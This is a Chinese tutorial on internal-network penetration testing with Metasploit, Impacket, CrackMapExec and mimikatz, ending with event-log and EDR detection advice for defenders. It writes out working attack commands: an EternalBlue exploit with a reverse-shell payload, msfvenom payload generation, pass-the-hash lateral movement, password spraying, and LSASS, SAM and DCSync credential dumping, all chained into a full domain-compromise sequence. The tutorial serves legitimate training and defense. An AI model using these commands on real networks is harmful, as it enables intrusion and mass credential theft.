
12-内网渗透工具栈Metasploit、Impacket、CrackMapExec、mimikatz实战合规声明本文所有命令与演示仅在本地靶场VulnHub、Metasploitable、自建域环境或已签署书面授权的渗透测试项目中执行。未经授权的渗透测试属违法行为可能触犯《刑法》第285条、第286条。本系列是白帽教程核心目标是让防御者理解攻击工具的行为特征从而部署有效的检测规则。一、四大工具定位与分工总览初学者最容易犯的错是把工具当万能锤见什么敲什么。先建立工具选型心智模型一个比喻讲清楚工具比喻定位Metasploit重装合成旅漏洞利用框架 payload 投递 后渗透一条龙但动静大Impacket精准轻武器纯 Python 实现的 Windows 协议级操作不落地恶意进程、隐蔽CrackMapExecCME火力侦察车拿凭据对全网批量验证快速回答这组口令能开几扇门mimikatz万能钥匙串Windows 凭据瑞士军刀从内存里掏 hash、票据、明文密码典型攻击流授权靶场中的标准剧本① 拿下跳板机Web 漏洞/钓鱼前置篇章内容 ② mimikatz 导出本机凭据钥匙串掏空 ③ CME 批量验证凭据侦察车扫一遍找到可横向的目标 ④ Impacket 隐蔽横向轻武器逐台拿 shell ⑤ Metasploit 处理复杂利用与后渗透需要重型火力时才上顺序不是死的但先侦察后开火、能轻不重的原则是死的——动静越小的工具越优先这是实战与靶场刷分的最大区别。二、Metasploit全能框架2.1 msfconsole 核心操作流安装Kali 自带。靶场环境用 Metasploitable 2/3 配合练习。msfconsole# 启动框架search eternalblue# 搜索模块示例MS17-010 永恒之蓝use exploit/windows/smb/ms17_010_eternalblue# 选中利用模块show options# 查看该模块需要填的参数setRHOSTS192.168.56.105# 目标 IP可填网段批量setPAYLOAD windows/x64/meterpreter/reverse_tcp# 设置载荷setLHOST192.168.56.102# 本地监听 IP回连地址exploit# 发起攻击逐行解释search 关键词在模块库里检索支持type:exploit、platform:windows等过滤语法use 模块路径进入模块上下文show options列出必填参数缺失的会有required true标记set RHOSTS目标注意是复数形式网段192.168.56.0/24也合法set PAYLOAD反弹 shell 载荷reverse_tcp表示目标主动回连你穿透防火墙比 bind 模式友好exploit -j加-j表示作为后台任务运行。2.2 meterpreter 常用命令速查拿到 meterpreter 会话靶场内后getuid # 查看当前进程身份当前权限是谁 getsystem # 尝试自动提权尝试多种提权技巧的合集 sysinfo # 目标系统信息系统版本/架构决定后续选 x86/x64 模块 hashdump # 导出本机 SAM 库中的本地用户 NTLM hash route add 网段 子网掩码 会话id # 通过被控主机给 MSF 添加内网路由 portfwd add -l 33890 -p 3389 -r 10.0.0.5 # 端口转发逐行解释getuid先确认身份再决定下一步提权后再次运行应显示NT AUTHORITY\SYSTEMgetsystem本质是尝试命名管道模拟等一组合法提权路径现代系统上经常失败属正常失败后走第 10 篇讲的内核提权路线sysinfo架构信息很关键x64 目标用 x86 payload 会被拒hashdump拿到本地用户 hash喂给下一节的 CME 批量验证route让 MSF 流量借道失陷主机访问其所在内网网段这是内网跳板的雏形portfwd把目标机 10.0.0.5 的 3389 转发到本地 33890直接rdesktop localhost:33890即可达内网远程桌面。2.3 msfvenom 生成 payload 参数详解msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST192.168.56.102LPORT4444-fexe-oshell.exe逐参数解释-p指定 payload 类型-p windows/x64/shell_reverse_tcp则是普通反弹 cmdLHOST/LPORT回连地址与端口必须是攻击机可达的 IP-f exe输出格式可选dll、ps1PowerShell 脚本、python、raw配合msfvenom ... -f raw -e x86/shikata_ga_nai等编码-o输出文件名常配套-e编码器与-i编码次数用于基础免杀——注意对现代 EDR 作用有限免杀是军备竞赛话题不在本篇展开。靶场配套监听msfconsole-q-xuse exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.102; set LPORT 4444; exploit一行解释启动 handler 模块载荷参数与生成时完全一致运行 shell.exe 后回连即得会话。三、Impacket协议级轻武器Impacket 是纯 Python 的网络协议库 一套现成脚本pip 安装pip install impacket。它的精髓所有操作走 SMB/WMI/LDAP 等标准协议不投递可执行文件、不落恶意进程Windows 侧看起来就是正常远程管理。3.1 四大 exec 脚本场景对比# psexec功能最全上传文件回显完整原理类似微软 PsExec会在目标创建服务痕迹最重psexec.py lab.local/administrator:Passw0rd192.168.56.10# smbexec不落文件靠反复创建批处理服务执行命令交互慢但相对隐蔽smbexec.py lab.local/administrator:Passw0rd192.168.56.10# wmiexec走 WMI 协议不落服务默认每条命令产生 wmic 进程痕迹wmiexec.py lab.local/administrator:Passw0rd192.168.56.10# atexec通过创建计划任务at/schtasks执行命令适合一次性任务atexec.py lab.local/administrator:Passw0rd192.168.56.10whoami逐行解释目标参数格式统一为域/用户:密码IP密码换位:hash位置时支持哈希传递——把密码换成LM:NT两段 hash如aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0即 PtH呼应第 11 篇原理psexec 在目标创建名为随机字符串的服务事件日志 7045服务安装是它的经典指纹wmiexec 是实战场最喜欢的一个交互快、不落服务但注意 WMI 服务的命令会话默认工作目录是C:\Windows\System32atexec 的命令通过schtasks注册执行日志 4698计划任务创建会记一笔。3.2 secretsdump.py导出 hashsecretsdump.py lab.local/administrator:Passw0rd192.168.56.10 secretsdump.py-outputfilehashes lab.local/administrator192.168.56.10-hashesaad3b...:31d6...逐行解释无参数运行时对远程目标执行 hash 转储在目标上会调用卷影副本等手段读取 SAM/LSA secrets-hashes选项再次体现 PtH有 hash 就不需要明文输出包含本地 SAM 账户 hash、LSA secrets缓存的域凭据、服务明文密码等是凭据滚雪球的核心燃料打下域控后对 DC 运行可导出 ntds.dit 中全域账户 hash含 krbtgt接第 11 篇黄金票据。四、CrackMapExec批量验证火力网CME新版已演进为 NetExec用一句话介绍给一组凭据、一个网段它告诉你这组凭据能在哪些机器上开火。# 批量验证域凭据密码喷洒思路的验证工具cme smb192.168.56.0/24-uusers.txt-pPassw0rd--continue-on-success# 用 hash 做哈希传递批量验证cme smb192.168.56.0/24-uadministrator-H31d6cfe0d16ae931b73c59d7e0c089c0# 枚举目标机本地 SAM hash需要本地管理员权限cme smb192.168.56.0/24-uadministrator-pPassw0rd--sam# 导出 LSA secrets缓存凭据/服务密码cme smb192.168.56.0/24-uadministrator-pPassw0rd--lsa逐行解释第一条users.txt是用户名列表对整个 /24 网段逐台尝试成功的主机返回(Pwn3d!)标记--continue-on-success让它命中后不停下、继续扫完全网——横向移动的第一张火力分布图第二条-H指定 NTLM hash区别于小写-p指定密码配合用户名直接 PtH 批量验证第三条--sam在凭据有效的机器上导出本地 SAM 库 hash第四条--lsa导出 LSA secrets经常能翻出跑在机器上的服务账号明文密码。协议支持cme smb、cme winrmWinRM 执行命令、cme mssqlMSSQL 枚举与执行——每换一个协议参数走的就是完全不同的端口与日志通道。五、mimikatz 命令速查mimikatz需 SYSTEM 权限运行是 Windows 凭据导出的天花板靶场中最常用的四条privilege::debug # 申请调试权限操作 LSASS 内存的前置条件 sekurlsa::logonpasswords # 导出 LSASS 内所有登录会话的凭据hash/明文 sekurlsa::tickets # 导出内存中的 Kerberos 票据供 PtT lsadump::dcsync /domain:lab.local /user:krbtgt # DCSync 导出域账号 hash逐行解释privilege::debug获取 SeDebugPrivilege没有它打开 LSASS 进程会被拒绝返回ERROR kuhl_m_privilege_simple时先确认自己是不是 SYSTEMsekurlsa::logonpasswords遍历 LSASS 里 msv/wdigest/kerberos 等凭据提供程序输出 NTLM hash 与可恢复的明文Win8 默认 wdigest 明文关闭看到大量 null 属正常hash 照样能用sekurlsa::tickets列出当前会话持有的 TGT/ST配合/export导出 kirbi 票据文件供其他机器注入PtT 落地lsadump::dcsync第 11 篇已详述原理此处不再展开。防御视角必须知道mimikatz 的全部操作集中在读取 LSASS 进程内存所以禁止非白名单进程访问 LSASS是针对它的最直接防御下一节。六、工具组合的典型攻击流复盘把四件套串一遍全程在授权域靶场仅作复盘失陷成员机上 MSF 会话执行getsystemhashdump拿到本地管理员 hashmimikatz执行sekurlsa::logonpasswords翻出登录过这台机器的域用户 hashTier 模型没做好时这里可能直接出现域管 hashcme smb 网段 -u admin -H hash --continue-on-success画出可横向主机清单对高价值目标用wmiexec.pyPtH拿交互 shell动最小遇到域控补丁缺失secretsdump.py或 DCSync 导出全域 hash拿到 krbtgt hash 后进入第 13 篇的持久化环节。七、检测与防御防御者重点7.1 流量特征与协议审计MSF 反弹 shell默认 meterpreter 通信是加密 TLV 流量走 4444/TCP 端口异常端口长连接是基础特征http/https类型载荷伪装成正常浏览流量但心跳周期规律默认每几秒一次 GETJA3S/TLS 指纹与流量节奏双管齐下Impacket 系SMB 会话中的异常 User-Agent脚本自带 UA 特征字符串、短会高频命令执行模式7045服务安装异常服务名对应 psexec4698计划任务短时批量创建对应 atexec——这两条是性价比极高的告警规则CME 扫描单源 IP 短时间对整个网段的 445 端口认证尝试配合同 hash 多机器 4624/4776 事件聚合直接命中密码喷洒检测场景WMI/WinRM 审计开启 WMI 操作的命令审计、脚本块日志Script Block Logging可以抓到 WMI 通道里执行的命令内容。7.2 EDR 对 meterpreter 与 mimikatz 的检测LSASS 访问防护Windows Defender Credential GuardVBS 隔离 LSASS与各类 EDR 的进程访问 LSASS策略直接掐死sekurlsa::系列检测逻辑为非白名单进程 OpenProcess LSASS ReadProcessMemory 行为meterpreter 检测注入行为CreateRemoteThread 等 API 调用链、reflective DLL 注入的内存特征扫描、payload 加载时的 RWX 内存页特征行为聚合现代 EDR 单点特征易绕但getsystem命名管道提权、hashdump卷影读取 SAM与 mimikatz 的 API 调用序列在行为链检测下命中率很高——这也是工具党永远追不上检测方的根本原因。7.3 给蓝队的落地清单域内全量部署 EDR重点开启 LSASS 保护和脚本块日志事件日志集中外发SIEM本地日志清理不致盲呼应第 14 篇对 7045/4698/4624(type 9)/4662DCSync建立专项告警用 LAPS 消灭本地管理员口令复用让 CME 的批量命中失效。八、小结工具是原理的放大器第 11 篇的 PtH 原理落到 Impacket 的-hashes参数、CME 的-H参数上Kerberos 体系落到 mimikatz 的 tickets 导出上。学工具的正确姿势是每个参数背后能说出一个协议原理反过来蓝队检测规则的本质也是每个工具行为背后有一个可审计的协议动作。下一篇进入权限维持——拿到权限之后如何让权限丢了还能找回来以及防守方如何斩草除根。